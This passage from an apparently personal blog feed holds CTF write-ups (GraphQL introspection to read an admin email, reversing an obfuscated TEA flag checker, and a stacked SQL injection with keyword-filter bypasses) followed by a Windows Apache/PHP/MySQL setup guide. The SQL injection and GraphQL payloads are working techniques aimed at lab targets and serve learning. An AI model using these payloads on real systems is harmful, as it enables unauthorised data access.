class="built_in">putchar</span>(c);</span><br><span class="line"> c = <span class="string">'e'</span>; <span class="built_in">putchar</span>(c);</span><br><span class="line"> c = <span class="string">'l'</span>; <span class="built_in">putchar</span>(c);</span><br><span class="line"> c = <span class="string">'l'</span>; <span class="built_in">putchar</span>(c);</span><br><span class="line"> c = <span class="string">'o'</span>; <span class="built_in">putchar</span>(c);</span><br><span class="line"> c = <span class="string">','</span>; <span class="built_in">putchar</span>(c);</span><br><span class="line"> c = <span class="string">' '</span>; <span class="built_in">putchar</span>(c);</span><br><span class="line"> c = <span class="string">'w'</span>; <span class="built_in">putchar</span>(c);</span><br><span class="line"> c = <span class="string">'o'</span>; <span class="built_in">putchar</span>(c);</span><br><span class="line"> c = <span class="string">'r'</span>; <span class="built_in">putchar</span>(c);</span><br><span class="line"> c = <span class="string">'l'</span>; <span class="built_in">putchar</span>(c);</span><br><span class="line"> c = <span class="string">'d'</span>; <span class="built_in">putchar</span>(c);</span><br><span class="line"> c = <span class="string">'!'</span>; <span class="built_in">putchar</span>(c);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="图之上的信息">图之上的信息</h2><p>用给的 guest 账户登录后,提示 flag 是 admin 的邮箱。</p><p>进行抓包,账号密码挺正常的,但发现有个请求内容很奇怪:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">url: http://202.38.93.111:15001/graphql</span><br><span class="line">body: {"query":"{ notes(userId: 2) { id\ncontents }}"}</span><br></pre></td></tr></table></figure><p>试了一下 <code>userId: 1</code>,发现权限不够,猜测 admin 的用户 id 就是 1。</p><p>是没见过的类型,想起来题目里提到了 GraphQL,赶紧搜一下(</p><p>搜到了<a href="https://book.hacktricks.xyz/pentesting/pentesting-web/graphql">这样一篇文章</a>,讲了一些基础的东西。</p><p>利用里面的方法,我们用 payload:</p><p><code>?query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}</code></p><p>来得到内部的数据结构,和 SQL 中的 information_schema 有异曲同工之妙。</p><p>以下是省略了无关内容的表。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br></pre></td><td class="code"><pre><span class="line">{</span><br><span class="line"> "data": {</span><br><span class="line"> "__schema": {</span><br><span class="line"> "types": [</span><br><span class="line"> {</span><br><span class="line"> "name": "Query",</span><br><span class="line"> "fields": [</span><br><span class="line"> {</span><br><span class="line"> "name": "note",</span><br><span class="line"> "args": [</span><br><span class="line"> {</span><br><span class="line"> "name": "id",</span><br><span class="line"> "description": null,</span><br><span class="line"> "type": {</span><br><span class="line"> "name": "Int",</span><br><span class="line"> "kind": "SCALAR",</span><br><span class="line"> "ofType": null</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> ]</span><br><span class="line"> },</span><br><span class="line"> {</span><br><span class="line"> "name": "notes",</span><br><span class="line"> "args": [</span><br><span class="line"> {</span><br><span class="line"> "name": "userId",</span><br><span class="line"> "description": null,</span><br><span class="line"> "type": {</span><br><span class="line"> "name": "Int",</span><br><span class="line"> "kind": "SCALAR",</span><br><span class="line"> "ofType": null</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> ]</span><br><span class="line"> },</span><br><span class="line"> {</span><br><span class="line"> "name": "user",</span><br><span class="line"> "args": [</span><br><span class="line"> {</span><br><span class="line"> "name": "id",</span><br><span class="line"> "description": null,</span><br><span class="line"> "type": {</span><br><span class="line"> "name": "Int",</span><br><span class="line"> "kind": "SCALAR",</span><br><span class="line"> "ofType": null</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> ]</span><br><span class="line"> }</span><br><span class="line"> ]</span><br><span class="line"> },</span><br><span class="line"> {</span><br><span class="line"> "name": "GNote",</span><br><span class="line"> "fields": [</span><br><span class="line"> {</span><br><span class="line"> "name": "id",</span><br><span class="line"> "args": []</span><br><span class="line"> },</span><br><span class="line"> {</span><br><span class="line"> "name": "contents",</span><br><span class="line"> "args": []</span><br><span class="line"> }</span><br><span class="line"> ]</span><br><span class="line"> },</span><br><span class="line"> ......</span><br><span class="line"> {</span><br><span class="line"> "name": "GUser",</span><br><span class="line"> "fields": [</span><br><span class="line"> {</span><br><span class="line"> "name": "id",</span><br><span class="line"> "args": []</span><br><span class="line"> },</span><br><span class="line"> {</span><br><span class="line"> "name": "username",</span><br><span class="line"> "args": []</span><br><span class="line"> },</span><br><span class="line"> {</span><br><span class="line"> "name": "privateEmail",</span><br><span class="line"> "args": []</span><br><span class="line"> }</span><br><span class="line"> ]</span><br><span class="line"> },</span><br><span class="line"> ......</span><br><span class="line"> ]</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>借由一开始的例子,我们很容易构造出 payload:</p><p><code>?query={ user(id: 1) { id, username, privateEmail }}</code></p><p>P.S. 在我没登录的时候也能通过最开始的语句查询到 guest 的信息,完全有理由怀疑那就是个幌子,来引诱人向登录 admin 账户这一方向思考。</p><h2 id="minecRaft">minecRaft</h2><p>看上去很难,所以直接查看源码,发现一个 <code><script src="jsm/miscs/flag.js"></script></code>,先别急,看看是怎么调用这个 js 里的函数的。</p><p>找到:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span>(cinput.<span class="property">length</span>>=<span class="number">32</span>){</span><br><span class="line"> <span class="keyword">let</span> tbool=<span class="title function_">gyflagh</span>(cinput.<span class="title function_">join</span>(<span class="string">''</span>));</span><br><span class="line"> <span class="keyword">if</span>(tbool) {</span><br><span class="line"> pressplateList[<span class="number">65</span>].<span class="title class_">TurnOn</span>_redstone_lamp();</span><br><span class="line"> content.<span class="property">innerText</span>=<span class="string">'Congratulations!!!'</span>;</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> cinput.<span class="property">length</span>=<span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>说明 flag 长度为 32,且通过 gyflagh 来判断是否正确。</p><p>然后我们把目光转向 <code>jsm/miscs/flag.js</code>,发现里面乱七八糟一团糟,全是十六进制,直接裂开。</p><p>但仔细研究后发现有相当一部分是为了混淆原来代码的,比如第一个函数是为了检查最下面的字符串数组数据完整性,剩下有相当一部分是利用那个数组把字符串的一些操作给混淆成十六进制数。</p><p>经过整理和重命名变量后,得到一份人能看懂的代码:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line">(<span class="title class_">String</span>[<span class="string">'prototype'</span>][<span class="string">'encrypt'</span>] = <span class="keyword">function</span> (<span class="params">str</span>) {</span><br><span class="line"> <span class="keyword">const</span> s = <span class="keyword">new</span> <span class="title class_">Array</span>(<span class="number">2</span>), key = <span class="keyword">new</span> <span class="title class_">Array</span>(<span class="number">4</span>);</span><br><span class="line"> <span class="keyword">let</span> res = <span class="string">''</span>; plaintext = <span class="built_in">escape</span>(<span class="variable language_">this</span>);</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">0</span>; i < <span class="number">4</span>; i++)</span><br><span class="line"> key[i] = <span class="title class_">Str4ToLong</span>(str.<span class="title function_">slice</span>(i * <span class="number">4</span>, (i + <span class="number">1</span>) * <span class="number">4</span>)); <span class="comment">// 将密码表8位一组放入 key 中</span></span><br><span class="line"> <span class="keyword">for</span> (i = <span class="number">0</span>; i < plaintext.<span class="property">length</span>; i += <span class="number">8</span>) {</span><br><span class="line"> s[<span class="number">0</span>] = <span class="title class_">Str4ToLong</span>(plaintext.<span class="title function_">slice</span>(i, i + <span class="number">4</span>));</span><br><span class="line"> s[<span class="number">1</span>] = <span class="title class_">Str4ToLong</span>(plaintext.<span class="title function_">slice</span>(i + <span class="number">4</span>, i + <span class="number">8</span>));</span><br><span class="line"> <span class="comment">// 8位一组中的前4位和后4位分别存入s[0]和s[1]中</span></span><br><span class="line"> <span class="title function_">code</span>(s, key);</span><br><span class="line"> res += <span class="title class_">LongToBase16</span>(s[<span class="number">0</span>]) + <span class="title class_">LongToBase16</span>(s[<span class="number">1</span>]);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> res;</span><br><span class="line">});</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">code</span>(<span class="params">s, key</span>) {</span><br><span class="line"> <span class="keyword">const</span> delta = <span class="number">2654435769</span>;</span><br><span class="line"> <span class="keyword">let</span> v0 = s[<span class="number">0</span>], v1 = s[<span class="number">1</span>];</span><br><span class="line"> <span class="keyword">let</span> sum = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span>; i < <span class="number">32</span>; i++) {</span><br><span class="line"> v0 += (((v1 << <span class="number">4</span>) ^ (v1 >>> <span class="number">5</span>)) + v1) ^ (sum + key[now & <span class="number">3</span>]);</span><br><span class="line"> sum += delta;</span><br><span class="line"> v1 += (((v0 << <span class="number">4</span>) ^ (v0 >>> <span class="number">5</span>)) + v0) ^ (sum + key[now >>> <span class="number">11</span> & <span class="number">3</span>]);</span><br><span class="line"> }</span><br><span class="line"> s[<span class="number">0</span>] = v0, s[<span class="number">1</span>] = v1;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">Str4ToLong</span>(<span class="params">s</span>) {</span><br><span class="line"> <span class="keyword">let</span> res = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span>; i < <span class="number">4</span>; i++)</span><br><span class="line"> res |= s.<span class="title function_">charCodeAt</span>(i) << (i * <span class="number">8</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">isNaN</span>(res) ? <span class="number">0</span> : res;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">LongToBase16</span>(<span class="params">x</span>) {</span><br><span class="line"> <span class="keyword">let</span> res = <span class="string">''</span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">3</span>; i >= <span class="number">0</span>; i--) {</span><br><span class="line"> <span class="keyword">let</span> tmp = (x >> <span class="number">8</span> * i & <span class="number">255</span>).<span class="title function_">toString</span>(<span class="number">16</span>);</span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">parseInt</span>(<span class="string">'0x'</span> + tmp) <= <span class="number">15</span>) tmp = <span class="string">'0'</span> + tmp;</span><br><span class="line"> res += tmp;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> res;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">gyflagh</span>(<span class="params">_0x111955</span>) {</span><br><span class="line"> <span class="keyword">let</span> _0x3b790d = _0x111955[<span class="string">'encrypt'</span>](<span class="string">'1356853149054377'</span>);</span><br><span class="line"> <span class="keyword">if</span> (_0x3b790d === <span class="string">'6fbde674819a59bfa12092565b4ca2a7a11dc670c678681daf4afb6704b82f0c'</span>) <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>可以发现是将操作序列用密钥加密后和原有的比较。</p><p>关键点是那个 code 函数,直接反向操作即可,正好这份代码中还提供了 LongToStr4 和 Base16ToLong,直接调用即可。</p><p>反向操作时要求数据恒正,我不会用 Javascript 进行简便的操作,就写了一份 C++ 代码:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><bits/stdc++.h></span></span></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"><span class="type">unsigned</span> key[] = {<span class="number">909456177</span>, <span class="number">825439544</span>, <span class="number">892352820</span>, <span class="number">926364468</span>};</span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">decode</span><span class="params">(<span class="type">unsigned</span> v0, <span class="type">unsigned</span> v1)</span> </span>{</span><br><span class="line"> <span class="type">unsigned</span> delta = <span class="number">2654435769</span>, sum = delta * <span class="number">32</span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i < <span class="number">32</span>; i++) {</span><br><span class="line"> v1 -= (((v0 << <span class="number">4</span>) ^ (v0 >> <span class="number">5</span>)) + v0) ^ (sum + key[(sum >> <span class="number">11</span>) & <span class="number">3</span>]);</span><br><span class="line"> sum -= delta;</span><br><span class="line"> v0 -= (((v1 << <span class="number">4</span>) ^ (v1 >> <span class="number">5</span>)) + v1) ^ (sum + key[sum & <span class="number">3</span>]);</span><br><span class="line"> }</span><br><span class="line"> cout << v0 << <span class="string">' '</span> << v1 << endl << endl;</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="type">int</span> x, y;</span><br><span class="line"> <span class="keyword">while</span> (cin >> x >> y) <span class="built_in">decode</span>(x, y);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="https://i.loli.net/2021/10/30/AqPkamjUlrVNy3G.png" alt=""></p><p>再通过提供的 LongToStr4 即可得到原文:</p><p><img src="https://i.loli.net/2021/10/30/32QtcOgBYxal7wH.png" alt=""></p><p>拼接起来即为 flag:<code>flag{McWebRE_inMlnCrA1t_3a5y_1cIuop9i}</code>。</p><p>P.S. 可以通过搜索得到<a href="https://en.wikipedia.org/wiki/Block_TEA">这个算法</a></p>]]></content>
<summary type="html"><p>之前我们战队的副队长在新生群里发了这个比赛,就决定拿它来初步感受一下 CTF 的比赛氛围。</p>
<p>题目和真正的 CTF 感觉还是有不少差别的,感觉很多题可以归类到 Misc 中去。</p>
<p>不过这个比赛让我深刻地体会到了 CTF 知识的宽度有多广,不过我啥也不会全靠搜。</p></summary>
<category term="CTF" scheme="https://sxyugao.top/categories/CTF/"/>
<category term="Hackergame" scheme="https://sxyugao.top/categories/CTF/Hackergame/"/>
<category term="Hackergame" scheme="https://sxyugao.top/tags/Hackergame/"/>
</entry>
<entry>
<title>BUUCTF [强网杯 2019]随便注</title>
<link href="https://sxyugao.top/p/c391d6d7.html"/>
<id>https://sxyugao.top/p/c391d6d7.html</id>
<published>2021-10-18T13:10:35.000Z</published>
<updated>2023-04-08T09:47:53.264Z</updated>
<content type="html"><![CDATA[<p>学长给我们留的入门题,作为新手的我还是写个题解纪念一下自己的第一道 CTF 题,顺便猜测一下后端的代码。</p><span id="more"></span><h2 id="前置准备">前置准备</h2><p>进入靶机,发现已经给我们填充好了 <code>1</code>,直接点提交试试。</p><p>响应的 Headers 为:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">Connection: keep-alive</span><br><span class="line">Content-Type: text/html; charset=UTF-8</span><br><span class="line">Date: Thu, 21 Oct 2021 11:42:42 GMT</span><br><span class="line">Keep-Alive: timeout=4</span><br><span class="line">Proxy-Connection: keep-alive</span><br><span class="line">Server: openresty</span><br><span class="line">Transfer-Encoding: chunked</span><br><span class="line">X-Powered-By: PHP/7.3.10</span><br></pre></td></tr></table></figure><p><strong>由此可知后台是 PHP 驱动的。</strong></p><p>网页回显为:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">array(2) {</span><br><span class="line"> [0]=></span><br><span class="line"> string(1) "1"</span><br><span class="line"> [1]=></span><br><span class="line"> string(7) "hahahah"</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>注意到第一个字段的数据类型为 string,猜测为字符型注入,尝试输入 <code>1'</code>,果然报错了,初步判断后端代码应类似 <code>$sql = "select * from table_name where id='".$_GET['id']."';";</code>。构造 payload:<code>1';show databases;#</code>,发现有输出,验证了之前的想法。</p><p>得到的数据库列表:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">array(1) {</span><br><span class="line"> [0]=></span><br><span class="line"> string(11) "ctftraining"</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">array(1) {</span><br><span class="line"> [0]=></span><br><span class="line"> string(18) "information_schema"</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">array(1) {</span><br><span class="line"> [0]=></span><br><span class="line"> string(5) "mysql"</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">array(1) {</span><br><span class="line"> [0]=></span><br><span class="line"> string(18) "performance_schema"</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">array(1) {</span><br><span class="line"> [0]=></span><br><span class="line"> string(9) "supersqli"</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">array(1) {</span><br><span class="line"> [0]=></span><br><span class="line"> string(4) "test"</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="绕过关键字过滤">绕过关键字过滤</h2><p>但是想查看当前库名的时候遇到了困难。</p><p>我们输入 <code>';select database();#</code>,网页回显 <code>return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);</code>,说明对输入进行了不区分大小写的关键词正则匹配过滤。</p><p>但是我们有预处理!我们可以定义字符串并将其预处理后运行来达到目的。</p><p>既然有关键词过滤,我们就把它拆开来,利用 <code>CONCAT</code> 拼接后执行。</p><p>于是我们构造以下 payload:<code>';set @s=concat('s','elect database()');prepare st from @s;execute st;#</code>。</p><p>结果回显如下:<code>strstr($inject, "set") && strstr($inject, "prepare")</code>。</p><p>好家伙,连这个都过检测了。但是转念一想,PHP 中的 strstr 函数是区分大小写的,而 SQL 语句是不区分大小写的,那我岂不是把语句全转为大写即可了?</p><p>将 payload 稍加修改:<code>';SET @s=CONCAT('S','ELECT DATABASE()');PREPARE st FROM @s;EXECUTE st;#</code>.</p><p>得到当前数据库名称:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">array(1) {</span><br><span class="line"> [0]=></span><br><span class="line"> string(9) "supersqli"</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="寻找-FLAG">寻找 FLAG</h2><p>还记得我们一开始拿到的数据库表吗,里面有个叫 ctftraining 的数据库。</p><p>payload:<code>';show tables from ctftraining;#</code></p><p>发现里面有个叫 FLAG_TABLE 的数据表,直觉告诉我 FLAG 一定在里面,胜利就在眼前。</p><p>payload:<code>';use ctftraining;SET @s=CONCAT('S','ELECT * FROM FLAG_TABLE');PREPARE st FROM @s;EXECUTE st;#</code></p><p>结果却发现这个表是空的??</p><p>不信邪的我查看了这个库下的所有的表,终于在 news 表下发现了这条信息:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">...</span><br><span class="line">array(4) {</span><br><span class="line"> [0]=></span><br><span class="line"> string(1) "4"</span><br><span class="line"> [1]=></span><br><span class="line"> string(4) "flag"</span><br><span class="line"> [2]=></span><br><span class="line"> string(37) "Flag is in the database but not here."</span><br><span class="line"> [3]=></span><br><span class="line"> string(10) "1571838684"</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>搞半天结果这里是陷阱?真是吐血。</p><p>挨个排查后,发现 FLAG 在最开始默认加载的 supersqli 库里,可谓是“踏破铁鞋无觅处,得来不全费工夫”。</p><p>最后的 payload:<code>';SET @s=CONCAT('S','ELECT * FROM `1919810931114514`');PREPARE st FROM @s;EXECUTE st;#</code></p><p>得到的 flag:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">array(1) {</span><br><span class="line"> [0]=></span><br><span class="line"> string(42) "flag{d29252e4-78f4-4a9a-a01b-ab2f8a5389fc}"</span><br><span class="line">}</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html"><p>学长给我们留的入门题,作为新手的我还是写个题解纪念一下自己的第一道 CTF 题,顺便猜测一下后端的代码。</p></summary>
<category term="CTF" scheme="https://sxyugao.top/categories/CTF/"/>
<category term="Web" scheme="https://sxyugao.top/categories/CTF/Web/"/>
<category term="SQLi" scheme="https://sxyugao.top/tags/SQLi/"/>
</entry>
<entry>
<title>Windows下配置Apache/PHP/MySQL环境</title>
<link href="https://sxyugao.top/p/6538c63d.html"/>
<id>https://sxyugao.top/p/6538c63d.html</id>
<published>2021-10-18T12:35:23.000Z</published>
<updated>2022-02-23T04:02:29.998Z</updated>
<content type="html"><![CDATA[<p>要想学习 CTF,就要学很多杂七杂八的东西,相关的环境也是必不可少。</p><p>下文将带你一起在 Windows 下配置 Apache/PHP/MySQL 环境。</p><p><strong>想省事直接装集成开发环境的朋友可以直接划走。</strong></p><span id="more"></span><h2 id="Apache">Apache</h2><p>官网:<a href="https://httpd.apache.org/">https://httpd.apache.org/</a></p><p>选择喜欢的版本,点击 Download,会传送到相应锚点。因为我们是 Windows 下安装环境,所以选择 <strong>Files for Microsoft Windows</strong>。在 <strong>Downloading Apache for Windows</strong> 下有很多选项,选择 ApacheHaus 或是 Apache Lounge,而后面都是集成开发环境了。</p><p>下载后解压即可,推荐新建一个 Server 文件夹把它扔进去。</p><p>打开 <code>Server\Apache24\conf\httpd.conf</code>,找到 <code>Define SRVROOT</code>,将其改为 <code>D:\Server\Apache24</code>。</p><p>最后应形如 <code>Define SRVROOT "D:\Server\Apache24"</code>。</p><p>执行 <code>httpd -t</code> 检查配置有无语法错误。</p><p>建议把 <code>Server\Apache24\bin</code> 放到环境变量里去,可以直接用 <code>httpd</code>。</p><h2 id="MySQL">MySQL</h2><p>官网:<a href="https://www.mysql.com/">https://www.mysql.com/</a></p><p>找到上方的 DOWNLOADS,然后下拉到最底部,有一个 “<a href="https://dev.mysql.com/downloads/">MySQL Community (GPL) Downloads »</a>”,找到社区版。<s>(Oracle 公司坏的很,把免费的社区版放那么隐蔽的地方,我找了半天,难怪原作者跑去弄 MariaDB 了)</s></p><p>下载下来的是个 Installer,默认自带了 MySQL8,想要其他版本的可以在里面自行勾选,需要额外下载内容。</p><p>里面有些组件需要新版 Microsoft Visual C++ Redistributable 支持,没有的可以<a href="https://docs.microsoft.com/en-US/cpp/windows/latest-supported-vc-redist?view=msvc-160">点这里</a>去官网下载。</p><p>如果没啥需求直接 Next 就行。</p><h2 id="PHP">PHP</h2><p>官网:<a href="https://www.php.net/">https://www.php.net/</a></p><p>老样子,点击上面的 Downloads,下载后是个压缩包,解压即可,推荐和 Apache 一起扔到 Server 文件夹下面。</p><p>P.S. 想用 PHP 编写单代码文件的小伙伴可以把 <code>Server\php</code> 放进环境变量里。</p><p>可能会有小伙伴会问为什么上面步骤那么少?因为 PHP 才是串起 Apache 和 MySQL 的关键,接下来需要为它们俩配置 PHP。</p><h3 id="Apache-2">Apache</h3><p>打开 <code>Server\Apache24\conf\httpd.conf</code>,</p><p>我们需要加载 PHP,所以找到加载模块的地方(也就是有一串 LoadModule 的地方),在最后加上</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">LoadModule php_module 'D:\Server\php\php8apache2_4.dll'</span><br></pre></td></tr></table></figure><p>然后添加名叫 PHPRC 的环境变量,路径设置为 <code>D:\Server\php\</code>。</p><div class="danger"><p>不推荐使用 PHPIniDir 变量,笔者有时候加载不到 php.ini。</p><p>如果想用的话在 httpd.conf 中添加一行 PHPIniDir "D:\Server\php" 即可。</p></div><p>其中路径请自行替换为<strong>自己本机的路径</strong>,不要照搬。</p><p>然后在 mime_module 设置下,添加 <code>AddHandler application/x-httpd-php .php</code>。</p><p>最后的内容结构应形如:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><IfModule mime_module></span><br><span class="line"> #</span><br><span class="line"> # TypesConfig points to the file containing the list of mappings from</span><br><span class="line"> # filename extension to MIME-type.</span><br><span class="line"> #</span><br><span class="line"> TypesConfig conf/mime.types</span><br><span class="line"></span><br><span class="line"> ...</span><br><span class="line"></span><br><span class="line"> #</span><br><span class="line"> # Filters allow you to process content before it is sent to the client.</span><br><span class="line"> #</span><br><span class="line"> # To parse .shtml files for server-side includes (SSI):</span><br><span class="line"> # (You will also need to add "Includes" to the "Options" directive.)</span><br><span class="line"> #</span><br><span class="line"> #AddType text/html .shtml</span><br><span class="line"> #AddOutputFilter INCLUDES .shtml</span><br><span class="line"></span><br><span class="line"> AddType application/x-httpd-php .php</span><br><span class="line"></IfModule></span><br></pre></td></tr></table></figure><p>最后找到 DirectoryIndex, 在后面添加 <code>index.php</code>,最后应为 <code>DirectoryIndex index.html index.php</code>。</p><h3 id="MySQL-2">MySQL</h3><p>将 <code>Server\php</code> 下的 <code>php.ini-development</code>(或是 